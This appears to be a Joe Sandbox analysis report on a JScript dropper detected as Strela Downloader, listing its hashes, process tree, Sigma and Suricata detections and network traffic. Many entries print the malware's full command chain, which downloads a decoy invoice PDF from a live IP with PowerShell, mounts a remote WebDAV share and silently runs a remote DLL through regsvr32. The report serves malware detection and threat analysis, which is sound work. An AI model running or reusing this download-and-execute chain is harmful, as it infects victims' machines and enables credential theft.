Edit tour

Windows Analysis Report
301901880157741390.js

Overview

General Information

Sample name:	301901880157741390.js
Analysis ID:	1587893
MD5:	bdc1fe08ddbb65865c660868535c8fa2
SHA1:	65f86c9849dfe40b4cd558d2fa4d2fc2ec5015f6
SHA256:	170bc3983d840dea54b2145edac5f45eea7604337b2b6d3c0d0e8ed42f26bd38
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1276 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6160 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1476 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1732,i,7516118534538757625,14757094030202328636,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6396 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2072 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7228 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1276	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1476, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1476, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ProcessId: 1276, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2072, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 6160, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 6160, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 6160, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 6160, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 6160, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ProcessId: 1276, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6160, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1476, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6396, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2072, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7228, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6396, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2072, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301901880157741390.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1276, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 6160, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:04:40.515670+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:04:38.349523+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 301901880157741390.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 301901880157741390.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:04:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

